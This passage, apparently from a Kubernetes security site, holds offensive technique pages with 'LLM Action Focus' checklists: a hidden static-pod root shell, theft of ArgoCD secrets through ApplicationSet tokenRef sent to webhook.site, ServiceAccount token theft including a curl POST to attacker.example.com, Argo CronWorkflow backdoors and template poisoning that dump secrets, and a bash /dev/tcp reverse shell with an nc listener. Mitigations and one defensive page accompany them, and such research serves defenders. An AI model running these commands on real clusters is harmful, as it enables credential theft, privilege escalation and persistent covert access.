the API server and does not appear under any namespace because no mirror pod was ever created. The kubelet retries mirror pod registration on a backoff interval but the repeated rejections have no effect on the running container. ### Step 5: Execute commands in the hidden container `kubectl exec` has no pod object to target. Use `crictl` directly on the node: ```bash CONTAINER_ID=$(crictl ps | awk '/hidden-pod/ {print $1}') crictl exec -it "$CONTAINER_ID" /bin/sh ``` The shell opens inside the privileged container. With the host filesystem at `/host`, a `chroot /host /bin/sh` gives a shell rooted at the node: ```bash chroot /host /bin/sh ``` Alternatively, kubeletctl can interact with the container via the kubelet's HTTPS API on port 10250. This works even when the attacker can reach port 10250 but lacks shell access to the node: ```bash kubeletctl pods --server 127.0.0.1 kubeletctl exec -n nonexistent-ns -p hidden-pod-worker-1 -c hidden-pod --server 127.0.0.1 -- id ``` ```output uid=0(root) gid=0(root) groups=0(root) ``` ## Persistence and cleanup The static pod manifest is read by the kubelet on every startup. A node reboot or kubelet restart recreates the container automatically from the file on disk without any further attacker action. `kubectl delete pod` has no target. The only way to stop the container is to remove the manifest file from the node: ```bash rm /etc/kubernetes/manifests/hidden-pod.yaml ``` ### Secret Exfiltration via ApplicationSet Generators HTML: https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators Markdown: https://kubernetes-security.cloud/topics/secret-exfiltration-via-applicationset-generators.md --- title: "Secret Exfiltration via ApplicationSet Generators" description: "Abusing tokenRef on a pullRequest generator to make the controller send a Secret from the argocd namespace to a URL you control" category: "offensive" phase: "credential-access" offensiveType: "credential-access" impact: "An attacker who can create ApplicationSets can name any Secret in the argocd namespace in tokenRef and any URL in the generator api field. The ApplicationSet controller reads that Secret with its own identity and sends it as an Authorization Bearer header to the attacker listener. The same primitive forges ArgoCD admin sessions from server.secretkey and scans in-cluster services from the control plane network" mitigation: - "Set `applicationsetcontroller.enable.tokenref.strict.mode` to `\"true\"` in `argocd-cmd-params-cm` so referenced Secrets must carry `argocd.argoproj.io/secret-type: scm-creds`. Label genuine SCM credential Secrets before enabling it" - "Set `applicationsetcontroller.allowed.scm.providers` to real SCM endpoints, or set `applicationsetcontroller.enable.scm.providers` to `\"false\"` if SCM and **pullRequest** generators are unused" - "Treat `create`, `update`, and `delete` on `applicationsets.argoproj.io` as administrative. Audit Kubernetes RBAC bindings and every `applicationsets` rule in `argocd-rbac-cm`, including pipeline ServiceAccounts" - "Reject generator `api` values outside an SCM allowlist and `tokenRef.secretName` values outside an operator allowlist with ValidatingAdmissionPolicy, Kyverno, or Gatekeeper, and restrict controller egress to those endpoints" tools: - "kubectl" mitreTechniques: - "T1552" - "T1567" - "T1606" - "T1046" kubernetesVersion: null createdAt: "2026-09-07T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Step 1. Use a public webhook - Category: offensive - Phase: Credential Access - Objective: Abusing tokenRef on a pullRequest generator to make the controller send a Secret from the argocd namespace to a URL you control ### Action checklist - Step 1. Use a public webhook - Step 2. Create the ApplicationSet - Step 3. Collect the credential - Step 4. Point tokenRef at a better key - Step 5. Use the generator as a port probe - Step 6. Read the result ### Key commands - `kubectl -n argocd create role appset-creator \` - `--verb=create --resource=applicationsets.argoproj.io` - `kubectl -n argocd create rolebinding appset-creator \` - `--role=appset-creator --serviceaccount=tenant-ns:tenant` - `TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)` - `curl -sk -X POST \` - `-H "Authorization: Bearer $TOKEN" \` - `-H 'Content-Type: application/json' \` - `https://kubernetes.default.svc/apis/argoproj.io/v1alpha1/namespaces/argocd/applicationsets \` - `-d '{` --- ArgoCD's ApplicationSet controller turns one template into many Applications. To talk to source control providers it needs credentials. Whoever writes the ApplicationSet names those credentials on the object. The controller then reads them, as itself, from the control plane namespace. That is the whole technique. An attacker who can create a single ApplicationSet points the generator's `api` field at a listener they control and its `tokenRef` field at any Secret in the `argocd` namespace. The controller reads the Secret and puts it on an outbound request as `Authorization: Bearer `. The attacker reads it on their own listener. This is not a memory corruption bug. The controller is a deputy. It acts on attacker input with authority the attacker does not have, and it never asks whether the person who wrote the object was allowed to read the Secret named in it. ## Understanding the attack surface The **pullRequest** generator has two fields that matter here. - **`api` is any URL.** The SCM endpoint to query. Plain `http` works. ClusterIPs work. The controller's own loopback works. A public webhook works too, because the chart's NetworkPolicies are ingress only and the controller egress is open by default. - **`tokenRef` is any Secret key in `argocd`.** A `{secretName, key}` pair that names credentials for that endpoint. Any Secret in the `argocd` namespace, and any key inside it. There is no schema check on `key`, so keys that were never meant as SCM tokens are still reachable. The controller reads that Secret with its own ServiceAccount. The Helm chart grants that account `get`, `list`, and `watch` on Secrets in `argocd`. It then sends a request like this. ```text GET /api/v3/repos///pulls?per_page=100 User-Agent: go-github/v69.2.0 Authorization: Bearer ``` Two things follow. The header leaks whatever lives in the `argocd` namespace. The URL is a request the controller makes from inside the control plane, with egress left open. The chart's NetworkPolicies cover ingress only. > [!IMPORTANT] > The caller is never checked. Nothing asks whether the ApplicationSet's author could read the referenced Secret. The API server's create handler (`server/applicationset/applicationset.go`) validates the `project` field and enforces RBAC on the `applicationsets` resource. The strings `secret` and `token` do not appear in the file. The controller then resolves `tokenRef` on its own, during reconcile, as itself. Who wrote the object and who can read the Secret are separate questions. The permission is one verb on one resource. What comes back includes the ArgoCD admin password hash and the server's session signing key. ## RBAC permissions The attacker needs `create` on `applicationsets.argoproj.io` in the `argocd` namespace. No other Kubernetes permission is required. Not `get`, `list`, or `watch` on `secrets`. Not any verb on `applications.argoproj.io`. Not `get`, `update`, `patch`, or `delete` on `applicationsets`. `get` only matters if they want to read results back from the object. An ArgoCD account or session is unnecessary when writing through the Kubernetes API. ```bash kubectl -n argocd create role appset-creator \ --verb=create --resource=applicationsets.argoproj.io kubectl -n argocd create rolebinding appset-creator \ --role=appset-creator --serviceaccount=tenant-ns:tenant ``` The ArgoCD chart does not ship a tenant role with this verb. A ServiceAccount bound to `edit` still gets forbidden, and SelfSubjectRulesReview lists no `argoproj.io` rules. ```text applicationsets.argoproj.io is forbidden: User "system:serviceaccount:tenant-ns:tenant" cannot create resource "applicationsets" in API group "argoproj.io" in the namespace "argocd" ``` So the grant has to be given on purpose. In practice it lands on CI and GitOps ServiceAccounts that apply ApplicationSets as part of a pipeline, platform automation that provisions tenant Applications, and per team roles in self service ApplicationSet setups. Those identities are treated as ordinary automation, not as ArgoCD administrators. That is the gap this technique uses. There is a second way in. ArgoCD's own RBAC (`argocd-rbac-cm`) treats `applicationsets` as a project scoped resource. ```text p, role:tenant, applicationsets, create, tenantproj/*, allow g, tenant-user, role:tenant ``` That principal has no Kubernetes credentials at all, and looks confined to `tenantproj`. The ArgoCD API server writes the object into the `argocd` namespace on their behalf. The RBAC documentation describes this grant as "effectively grants the ability to create Applications". It does not mention Secrets. ## The attack sequence ### Step 1. Use a public webhook The controller fetches `api` itself, so any URL that logs request headers works. A public collector such as `https://webhook.site/` is enough when the cluster can reach the internet. An in cluster Service still works if you already have a foothold. ### Step 2. Create the ApplicationSet From the tenant pod, create the ApplicationSet with the automounted ServiceAccount token. Cluster admin kubectl and the controller identity are not required. ```bash TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ https://kubernetes.default.svc/apis/argoproj.io/v1alpha1/namespaces/argocd/applicationsets \ -d '{ "apiVersion": "argoproj.io/v1alpha1", "kind": "ApplicationSet", "metadata": {"name": "hunt-pr"}, "spec": { "generators": [{"pullRequest": {"github": { "owner": "hunting", "repo": "markers", "api": "https://webhook.site//", "tokenRef": {"secretName": "argocd-secret", "key": "admin.password"} }}}], "template": { "metadata": {"name": "gen-pr"}, "spec": { "source": {"repoURL": "https://example.invalid/repo.git"}, "destination": {"server": "https://kubernetes.default.svc", "namespace": "default"}, "project": "default" } } } }' ``` The template block is filler. The generator runs during reconcile, before any Application is rendered, so the template never has to be valid or reachable for the request to go out. ### Step 3. Collect the credential webhook.site receives the controller's request with the Secret in the header. ```text REQ GET /api/v3/repos/hunting/markers/pulls?per_page=100 User-Agent: go-github/v69.2.0 Authorization: Bearer ``` The request comes from the ApplicationSet controller, not from the attacker. webhook.site sees the cluster's egress address. The admin bcrypt hash can be cracked offline and used for an ArgoCD admin login. ### Step 4. Point tokenRef at a better key `key` is unconstrained, so the same object can be pointed at anything in the Secret. Changing `tokenRef.key` to `server.secretkey` and waiting for the next reconcile returns the session signing key. ```text Authorization: Bearer ``` ArgoCD uses that key to sign API sessions. Anyone who has it can mint a valid admin session instead of cracking the password hash, and the API never sees a login. Changing the object requires `update`, which the minimal grant does not include. An attacker who only has `create` gets the same result by creating a second ApplicationSet that names the other key. ### Step 5. Use the generator as a port probe Leave `tokenRef` off and the `api` field is a request the controller makes from inside the control plane namespace. ```text api: http://10.96.0.1:443 → Get "http://10.96.0.1:443/api/v3/repos/h/r/pulls?per_page=100": 400 [] api: http://127.0.0.1:8080/metrics → GET http://127.0.0.1:8080/metrics/api/v3/repos/h/r/pulls?per_page=100: 404 [] ``` The controller fetched the Kubernetes API ClusterIP and its own loopback metrics port. On managed clusters the same field reaches cloud instance metadata endpoints, subject to whatever hop limit or IMDSv2 posture the nodes carry. Unreachable targets look different from reachable ones. ```text api: http://10.255.255.1:7000 → dial tcp 10.255.255.1:7000: i/o timeout, requeueAfter=30m0s ``` The 30 minute requeue makes this a slow scanner. Each new target needs a new object when the attacker only has `create`, and those objects pile up in the cluster. ### Step 6. Read the result How much comes back depends on a second permission. | Channel | Needs | Reveals | | --- | --- | --- | | Attacker listener | `create` only | Everything. Method, path, all headers, the Bearer value | | ApplicationSet `status` conditions | `get` on applicationsets | Method, full URL, HTTP status code | | Controller logs | log access | The same error string | The credential leaves the cluster on the listener, so `create` alone is enough for that half. Using the generator only as an internal scanner is mostly blind without `get`. How much of the response is visible is limited by the HTTP client. go-github v69.2.0's `CheckResponse` unmarshals the body into an `ErrorResponse`, and `ErrorResponse.Error()` prints the method, sanitised URL, status code, `Message`, and `Errors`. A probed endpoint that returns JSON with `message` or `errors` fields shows those in the ApplicationSet status condition. A body that is not JSON shows only the status code. A 2xx response returns no error, so a successful fetch produces no condition at all and is invisible on the object. The controller log line puts the whole chain in one entry. ```text level=error msg="error generating params" error="error listing repos: error listing pull requests for hunting/markers: Get \"https://webhook.site//api/v3/repos/hunting/markers/ pulls?per_page=100\": EOF" ... TokenRef:&SecretRef{SecretName:argocd-secret,Key:admin.password,} ``` ## ApplicationSet write is an admin capability ArgoCD documents this outcome. The ApplicationSet security page states that generators can read Secrets in the ArgoCD namespace and send them to arbitrary URLs as auth headers. It calls that abuse by a malicious user, and it concludes that only admins may be given permission, via Kubernetes RBAC or any other mechanism, to create, update, or delete ApplicationSets. The controller is built that way. It resolves `tokenRef` as itself, so the author's Secret permissions are never checked. The Helm chart grants that controller `get`, `list`, and `watch` on Secrets in `argocd`, and that is the privilege the deputy uses. `tokenRef` strict mode and the SCM provider allowlist exist and ship off, so a default install leaves the deputy unconstrained. Upstream already treated the same leak as a bug. [tokenRef strict mode for Pull Request generators](https://github.com/argoproj/argo-cd/pull/20309) called it a defect when ApplicationSets may live in any namespace, because the creator there is a non-admin. The control plane namespace case was left to RBAC. A subject who already administers ArgoCD, or who holds the ApplicationSet controller ServiceAccount, already reads those Secrets directly, so the same request is collection rather than escalation. A grant of `applicationsets` create is not a restricted automation identity. Combined with a default install, it lets that subject read every Secret in `argocd`. The same confused deputy shape appears in [Weaponizing Argo Workflows](/topics/weaponizing-argo-workflows) through `spec.serviceAccountName`, and in [Compromising ArgoCD via Application Sync](/topics/compromising-argocd-via-application-sync) through the `default` **AppProject**. ### Securing ArgoCD Application Access HTML: https://kubernetes-security.cloud/topics/securing-argocd-application-access Markdown: https://kubernetes-security.cloud/topics/securing-argocd-application-access.md --- title: "Securing ArgoCD Application Access" description: "Restrict ArgoCD RBAC, enforce AppProject boundaries, and block privileged workload deployment through the ArgoCD confused deputy attack path" category: "defensive" phase: null offensiveType: null impact: "Without these controls, any user with applications create permission in ArgoCD can deploy privileged workloads cluster-wide using ArgoCD's own service account, bypassing Kubernetes RBAC entirely. With these controls, Application creation is scoped to trusted repositories and namespaces, and the resources those Applications can deploy are limited to an explicit allowlist." mitigation: - "Scope **applications create** in ArgoCD RBAC to specific AppProjects rather than wildcard. Never grant create on the default project without an AppProject that enforces source and destination restrictions." - "Use **AppProject** to enforce source repository allowlists, destination namespace and cluster restrictions, and cluster resource whitelists. An Application that references a repository or destination not in the AppProject is rejected by ArgoCD before sync. Ban the `argocd` namespace as a destination on every project a non-admin can use." - "Alert on **Application creation events** in the Kubernetes audit log that reference repositories outside the approved list, that target namespaces where privileged workloads are unexpected, or whose destination is the `argocd` namespace." tools: [] mitreTechniques: [] kubernetesVersion: null createdAt: "2026-04-20T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Securing ArgoCD Application Access - Category: defensive - Phase: N/A - Objective: Restrict ArgoCD RBAC, enforce AppProject boundaries, and block privileged workload deployment through the ArgoCD confused deputy attack path ### Action checklist ### Key commands - `kubectl -n argocd get configmap argocd-rbac-cm -o yaml` - `kubectl apply -f - < --image=busybox --target= -it` - `cat /proc/1/root/var/run/secrets/kubernetes.io/serviceaccount/token` - `kubectl apply -f token-stealer.yaml` - `kubectl logs token-stealer` - `kubectl patch deployment target-app \` --- ServiceAccount tokens are high-value credentials in Kubernetes. They provide authentication to the API server and are often long-lived and implicitly trusted. An attacker who obtains a token can enumerate permissions, access secrets, and potentially escalate privileges without exploiting any Kubernetes vulnerabilities. In most real Kubernetes breaches, attackers follow a common pattern: compromise a pod, discover a ServiceAccount token, use it to access the Kubernetes API, then enumerate permissions, pods, secrets, and nodes. The techniques documented here use only legitimate Kubernetes features and RBAC-allowed actions, making them difficult to distinguish from normal cluster activity. > [!NOTE] > This content is based on research by [Mohammad Bilal](https://www.linkedin.com/feed/update/urn:li:activity:7416365841073508352/). ## The attack sequence An attacker with access to a pod or the ability to create workloads can obtain ServiceAccount tokens through multiple paths. ### Step 1: Identify available access methods The attacker determines which permissions they have for accessing tokens: - `pods/exec` — execute commands inside existing pods - `pods/ephemeralcontainers` — attach debug containers - `pods/cp` — copy files from pods - `pods/create` — create new pods with target ServiceAccounts ### Step 2: Read the token If an attacker can exec into a pod, they can read any file inside the container, including mounted ServiceAccount tokens. ```bash kubectl exec -it target-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` The token is mounted by default at `/var/run/secrets/kubernetes.io/serviceaccount/token`. Once obtained, it can be used to authenticate to the API server: ```bash TOKEN=$(kubectl exec target-pod -- cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/namespaces ``` This works because **kubectl exec** is commonly allowed for debugging purposes, and tokens are just files on disk. The **pods/exec** permission is frequently granted to developers and operators without considering that it provides read access to any file in the container, including credentials. ## Stealing Tokens via kubectl cp The `kubectl cp` command appears harmless but internally uses **kubectl exec** with **tar** to copy files. An attacker with cp permissions can extract tokens without making explicit secret API calls. ```bash kubectl cp default/target-pod:/var/run/secrets/kubernetes.io/serviceaccount/token ./stolen-token ``` The token file is now on the attacker's local machine: ```bash cat ./stolen-token ``` This technique is subtle because it appears as a normal file copy operation rather than credential access. ## Reading Tokens via kubectl debug Kubernetes allows attaching ephemeral debug containers to running pods using the `kubectl debug` command. This feature graduated to stable in **Kubernetes 1.25**. Ephemeral containers are temporary containers that run alongside existing containers in a pod, intended for troubleshooting when `kubectl exec` is insufficient, such as when the container image lacks debugging tools or has crashed. An attacker with permission to create ephemeral containers can access another container's filesystem through **/proc**. ```bash kubectl debug -n default pod/ --image=busybox --target= -it ``` Inside the debug container: ```bash cat /proc/1/root/var/run/secrets/kubernetes.io/serviceaccount/token ``` This technique reads files directly from the target container's root filesystem via the **/proc** pseudo-filesystem, bypassing the need to exec into the original container. ## Creating Workloads with Target ServiceAccounts If an attacker can create pods, jobs, or other workloads, they can specify any ServiceAccount in the namespace and read its token from inside the new workload. Using a **Pod**: ```yaml apiVersion: v1 kind: Pod metadata: name: token-stealer spec: serviceAccountName: privileged-sa containers: - name: steal image: busybox command: ["cat", "/var/run/secrets/kubernetes.io/serviceaccount/token"] ``` Using a **Job**: ```yaml apiVersion: batch/v1 kind: Job metadata: name: token-job spec: template: spec: serviceAccountName: privileged-sa restartPolicy: Never containers: - name: steal image: busybox command: ["cat", "/var/run/secrets/kubernetes.io/serviceaccount/token"] ``` ```bash kubectl apply -f token-stealer.yaml kubectl logs token-stealer ``` If the attacker lacks **pods/log** read access, the token can be exfiltrated via an external webhook: ```yaml apiVersion: v1 kind: Pod metadata: name: token-exfil spec: serviceAccountName: privileged-sa containers: - name: exfil image: curlimages/curl command: - sh - -c - | curl -X POST https://attacker.example.com/collect \ -d "token=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)" ``` This approach bypasses the need for any additional cluster permissions beyond workload creation, as the token is sent directly to an attacker-controlled endpoint. This does not require permission to read Secrets or ServiceAccount objects directly. The token is automatically mounted into the pod. Jobs are particularly useful for this technique because they are often granted more liberally than direct pod creation, and they clean up after completion. ## Patching Workloads to Swap ServiceAccounts An attacker with patch permissions on deployments can change which ServiceAccount a workload uses. After the pod restarts, the new token is mounted automatically. ```bash kubectl patch deployment target-app \ -p '{"spec":{"template":{"spec":{"serviceAccountName":"admin-sa"}}}}' ``` Once the pod recreates, the attacker can exec in and read the new token: ```bash kubectl exec -it target-app-xxxx -- cat /var/run/secrets/kubernetes.io/serviceaccount/token ``` This technique is subtle because it looks like a routine configuration change. The following table summarizes the RBAC permissions required for each technique described above. | Technique | Resources | Verbs | API Group | |-----------|-----------|-------|-----------| | kubectl exec | pods | get | core | | | pods/exec | create | core | | kubectl cp | pods | get | core | | | pods/exec | create | core | | kubectl debug | pods | get | core | | | pods/ephemeralcontainers | patch | core | | | pods/exec | create | core | | Creating Workloads | pods | create | core | | | jobs | create | batch | | Patching Workloads | deployments, statefulsets, daemonsets | patch, update | apps | > [!NOTE] > `kubectl cp` and `kubectl exec` share identical RBAC requirements because `kubectl cp` does not have its own API endpoint. Under the hood, it spawns an exec session to run `tar` inside the container. To see this in action, run `kubectl cp` with the `-v=6` flag to observe the exec API calls being made. ### Weaponizing Argo Workflows HTML: https://kubernetes-security.cloud/topics/weaponizing-argo-workflows Markdown: https://kubernetes-security.cloud/topics/weaponizing-argo-workflows.md --- title: "Weaponizing Argo Workflows" description: "Abusing Argo Workflows API to execute arbitrary workloads for privilege escalation and persistence" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "An attacker with Argo API access can submit arbitrary workflows that run under privileged ServiceAccount identities, create persistent CronWorkflow backdoors, and poison shared WorkflowTemplates to compromise every CI/CD pipeline that references them. The Argo controller executes all of these using its own credentials, not the attacker's" mitigation: - "Restrict **workflows create** and **cronworkflows create** permissions to specific CI/CD service accounts only" - "Restrict **workflowtemplates patch** and **workflowtemplates update** to dedicated platform operator identities" - "Enable Argo Workflows **workflowRestrictions** in the controller configmap to limit allowed container images, ServiceAccounts, and volume types" - "Require approval workflows for new CronWorkflow and WorkflowTemplate resources" tools: - "kubectl" - "curl" - "jq" mitreTechniques: - "T1610" - "T1059" - "T1078" - "T1036" kubernetesVersion: null createdAt: "2026-05-14T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Gaining Argo API Access - Category: offensive - Phase: Privilege Escalation - Objective: Abusing Argo Workflows API to execute arbitrary workloads for privilege escalation and persistence ### Action checklist - Gaining Argo API Access - Submitting an Arbitrary Workflow - Reading Results from Workflow Logs - CronWorkflow Persistence - WorkflowTemplate Poisoning - Workflow Naming Masquerading ### Key commands - `curl -sk -H "Authorization: Bearer $ARGO_TOKEN" \` - `"https://argo-server.argo.svc.cluster.local:2746/api/v1/workflows/production"` - `curl -sk "https://argo-server.argo.svc.cluster.local:2746/api/v1/workflows/production"` - `curl -sk -X POST \` - `-H "Authorization: Bearer $ARGO_TOKEN" \` - `-H "Content-Type: application/json" \` - `"https://${ARGO_SERVER}/api/v1/workflows/${NAMESPACE}" \` - `-d '{` - `"workflow": {` - `"metadata": {` --- Argo Workflows is a container-native workflow engine for orchestrating parallel jobs on Kubernetes. It exposes a REST API that accepts authenticated requests to create, manage, and monitor workflows. The Argo controller runs with broad cluster permissions to execute workflows on behalf of authenticated users. Consider a typical setup where an application pod holds an Argo API token so it can trigger workflows for deployments, data processing, or CI/CD pipelines. If an attacker gains code execution inside that pod, they can read the token from the environment and use it to submit arbitrary workflows to the Argo API. The Argo controller accepts these requests and creates pods that run under a different ServiceAccount with broader permissions. The attacker's own Kubernetes RBAC is irrelevant because the Argo controller executes the workflow on their behalf. This technique covers three abuse paths. An attacker can submit a one-time workflow to read secrets and retrieve the output through the Argo API. They can create a CronWorkflow to persist access and collect data on a recurring schedule. They can poison a shared WorkflowTemplate to compromise every CI/CD pipeline that references it. ## Understanding the Attack Surface The Argo controller service account holds broad Kubernetes permissions to create and manage workflow pods. When an attacker submits a workflow via the Argo API, the controller reads the workflow spec and creates pods using its own credentials, not the attacker's. This means the attacker's Kubernetes RBAC is irrelevant once the workflow object exists. The key misuse here is that Argo treats the workflow spec as a **trusted instruction**. It does not verify whether the user who submitted the workflow actually has permission to perform the actions defined inside it. The authorization check happens at the **Argo API level only**, not at the Kubernetes resource level for the requesting user. The workflow pod runs under the `serviceAccountName` specified in the spec. That ServiceAccount's token is mounted into the pod automatically, giving the workflow access to the Kubernetes API at whatever privilege level that ServiceAccount holds. ## RBAC permissions The minimum Argo-level permission required: ```yaml rules: - apiGroups: ["argoproj.io"] resources: ["workflows"] verbs: ["create"] ``` Or for persistent access: ```yaml rules: - apiGroups: ["argoproj.io"] resources: ["cronworkflows"] verbs: ["create"] ``` Or for supply chain compromise: ```yaml rules: - apiGroups: ["argoproj.io"] resources: ["workflowtemplates"] verbs: ["create", "update", "patch"] ``` These permissions are commonly granted to CI/CD service accounts and sometimes to developer namespaces so teams can self-service trigger pipelines. ## The attack sequence ### Gaining Argo API Access The attacker needs an authenticated identity that the Argo API server accepts. This is typically a ServiceAccount token that has been granted workflow permissions through Kubernetes RBAC and injected into an application pod as an environment variable or mounted file. Once the attacker gains code execution inside that pod, they can read the token from the environment or filesystem and use it to authenticate to the Argo API server: ```bash curl -sk -H "Authorization: Bearer $ARGO_TOKEN" \ "https://argo-server.argo.svc.cluster.local:2746/api/v1/workflows/production" ``` A successful response confirms the token is valid and reveals which namespace the token is scoped to. #### Auth mode misconfiguration The Argo server supports multiple authentication modes configured via the `--auth-mode` flag. The `server` mode validates Kubernetes service account tokens and is the default for production deployments. The `client` mode uses client certificates and `sso` uses OIDC/OAuth2. A common misconfiguration is setting `--auth-mode=none`, which disables authentication entirely and makes the Argo API completely open. Any pod that can reach the Argo server can submit workflows without presenting a token. This is sometimes done during initial setup or debugging and left in place. ```bash curl -sk "https://argo-server.argo.svc.cluster.local:2746/api/v1/workflows/production" ``` When `--auth-mode=none` is active, the above request returns the workflow list without any `Authorization` header. In this scenario, the attacker does not need to find or steal a token. They only need network reachability to the Argo server. The same unauthenticated access reveals all existing workflows, CronWorkflows, and WorkflowTemplates in the namespace. This gives the attacker immediate visibility into CI/CD pipeline patterns, naming conventions, and the templates they can poison. ### Submitting an Arbitrary Workflow The attacker crafts a workflow spec that executes arbitrary commands. The workflow pod runs under a ServiceAccount either the one specified in `serviceAccountName` or the namespace `default` if omitted. ```bash curl -sk -X POST \ -H "Authorization: Bearer $ARGO_TOKEN" \ -H "Content-Type: application/json" \ "https://${ARGO_SERVER}/api/v1/workflows/${NAMESPACE}" \ -d '{ "workflow": { "metadata": { "generateName": "prefix-", "namespace": "namespace" }, "spec": { "entrypoint": "main", "templates": [{ "name": "main", "container": { "image": "alpine:latest", "command": ["sh", "-c"], "args": ["arbitrary-command"] } }] } } }' ``` The Argo controller creates a pod that executes `arbitrary-command`. If `serviceAccountName` is specified, the pod uses that identity. Otherwise, it falls back to the namespace `default` ServiceAccount. The impact depends on the permissions of the resulting identity. > [!NOTE] > If `serviceAccountName` is specified, it must exist in the **same namespace** as the workflow. Kubernetes resolves it as `namespace/serviceAccountName`. If omitted, the workflow pod runs as the namespace `default` ServiceAccount. ### Reading Results from Workflow Logs The attacker retrieves the workflow output via the Argo API without needing any Kubernetes RBAC: ```bash curl -sk -H "Authorization: Bearer $ARGO_TOKEN" \ "https://${ARGO_SERVER}/api/v1/workflows/${NAMESPACE}/${WORKFLOW_NAME}/log?logOptions.container=main" ``` The response contains the pod's stdout. This is the primary exfiltration channel. ### CronWorkflow Persistence A one-time workflow is ephemeral. A CronWorkflow persists in the cluster and executes on a recurring schedule. The attacker creates a CronWorkflow disguised as a legitimate scheduled job such as a nightly report or data synchronization task. ```bash curl -sk -X POST \ -H "Authorization: Bearer $ARGO_TOKEN" \ -H "Content-Type: application/json" \ "https://${ARGO_SERVER}/api/v1/cron-workflows/${NAMESPACE}" \ -d '{ "cronWorkflow": { "metadata": { "name": "nightly-cost-report", "namespace": "namespace" }, "spec": { "schedule": "0 2 * * *", "serviceAccountName": "target-sa", "workflowSpec": { "entrypoint": "collect", "templates": [{ "name": "collect", "script": { "image": "bitnami/kubectl:latest", "command": ["bash"], "source": "set -e\nkubectl get secrets,configmaps -n namespace -o json > /tmp/cluster-report.json\nkubectl get pods -n namespace -o wide >> /tmp/cluster-report.json\necho 'Report generated at $(date)' >> /tmp/cluster-report.json", "outputs": { "artifacts": [{ "name": "report", "path": "/tmp/cluster-report.json" }] } } }] } } } }' ``` The artifact is uploaded to the configured storage backend after each scheduled run. The attacker does not need to maintain a listener or establish outbound connections. The data sits in the artifact repository alongside legitimate workflow outputs until retrieved. The CronWorkflow runs on schedule regardless of whether the attacker's initial access is detected and removed. The only way to stop it is to delete the CronWorkflow resource itself, which requires permissions the attacker never needed to create it. ### WorkflowTemplate Poisoning WorkflowTemplates are reusable workflow definitions that CI/CD pipelines reference. An attacker who can create or modify templates can inject malicious steps that execute every time the template is used. Most organizations maintain shared WorkflowTemplates that every team uses to deploy their applications. The attacker patches one of these templates to add a malicious step disguised as a routine pipeline operation such as image scanning or pre-deploy validation. ```yaml spec: entrypoint: deploy templates: - name: deploy steps: - - name: build-image template: build - name: security-scan template: scan - - name: deploy-staging template: deploy - name: scan script: image: aquasec/trivy:0.48.3 command: ["bash"] source: | set -e echo "Running vulnerability scan..." trivy image --severity HIGH,CRITICAL --format json myapp:latest > /tmp/scan-results.json kubectl get secrets -n production -o json >> /tmp/scan-results.json echo "Scan complete" outputs: parameters: - name: scan-report valueFrom: path: /tmp/scan-results.json ``` The script reads secrets from the namespace and writes them to a file. Argo automatically captures this file as a workflow output parameter. The attacker retrieves the exfiltrated data by reading the workflow result through the Argo API, the same way a legitimate CI/CD system would read build artifacts or scan results. The malicious step runs in parallel with the legitimate build step. It completes quickly and does not block the pipeline, so CI/CD executions continue to succeed without raising alarms. Every future pipeline run that references this template automatically executes the attacker's code. ### Workflow Naming Masquerading Argo workflows support `generateName` which creates workflows with a prefix followed by a random suffix. An attacker can choose a prefix that mimics legitimate workflow naming conventions used by the organization's CI/CD pipelines: ```json { "metadata": { "generateName": "build-deploy-", "namespace": "production" } } ``` The resulting workflow name `build-deploy-abc12` blends in with legitimate pipeline executions. During a quick `kubectl get workflows` review, the malicious workflow is indistinguishable from real CI/CD runs. ### Weaponizing ArgoCD Application HTML: https://kubernetes-security.cloud/topics/weaponizing-argocd-application Markdown: https://kubernetes-security.cloud/topics/weaponizing-argocd-application.md --- title: "Weaponizing ArgoCD Application" description: "Abusing ArgoCD as a confused deputy to deploy disguised privileged workloads cluster-wide and maintain persistent access" category: "offensive" phase: "privilege-escalation" offensiveType: "privilege-escalation" impact: "Full cluster compromise through privileged workload deployment, host filesystem access, and persistent backdoor that survives pod deletion" mitigation: - "Grant **applications create** in ArgoCD RBAC only to trusted users and scope it to specific AppProjects rather than wildcard" - "Use **AppProject** to enforce source repository allowlists, destination namespace restrictions, and cluster resource whitelists to limit what an Application can deploy" - "Enable **Pod Security Admission** and admission policies to block privileged workload configurations including hostPID, hostNetwork, hostIPC, hostPath mounts and images from untrusted registries" - "Alert on **Application creation events** that reference repositories not in the approved list" tools: [] mitreTechniques: - "T1610" - "T1059" - "T1036" - "T1611" kubernetesVersion: null createdAt: "2026-04-10T00:00:00.000Z" --- ## LLM Action Focus - Primary action: Repository Setup - Category: offensive - Phase: Privilege Escalation - Objective: Abusing ArgoCD as a confused deputy to deploy disguised privileged workloads cluster-wide and maintain persistent access ### Action checklist - Repository Setup - Mounting a Privileged ServiceAccount - Creating the Application - Persistence Through selfHeal ### Key commands - `bash -i >& /dev/tcp/x.x.x.x/4444 0>&1` - `nc -lvnp 4444` - `cat /var/run/secrets/kubernetes.io/serviceaccount/token` --- ArgoCD is a GitOps continuous delivery tool that runs a **privileged service account** in the cluster to deploy and reconcile application manifests. An attacker who has only `create` permission on ArgoCD `Application` resources can exploit this trust relationship. They do not need direct pod creation access. **ArgoCD's own service account** performs the deployment on their behalf, making this a classic **confused deputy attack**. ## RBAC permissions The only required RBAC permission is: ```yaml rules: - apiGroups: ["argoproj.io"] resources: ["applications"] verbs: ["create"] ``` This single Kubernetes RBAC rule is enough to achieve cluster-wide privileged pod deployment. A related chain uses the same Application create primitive to target ArgoCD itself. [Compromising ArgoCD via Application Sync](/topics/compromising-argocd-via-application-sync) overwrites `argocd-rbac-cm` by syncing into the `argocd` namespace. ## Understanding the Attack Surface ArgoCD's controller service account typically holds broad Kubernetes permissions to reconcile any resource across the cluster. When an attacker creates an `Application`, ArgoCD reads the desired state from a Git repository and applies it using its own credentials, not the attacker's. This means the attacker's Kubernetes RBAC is irrelevant once the `Application` object exists. The key misuse here is that ArgoCD treats the 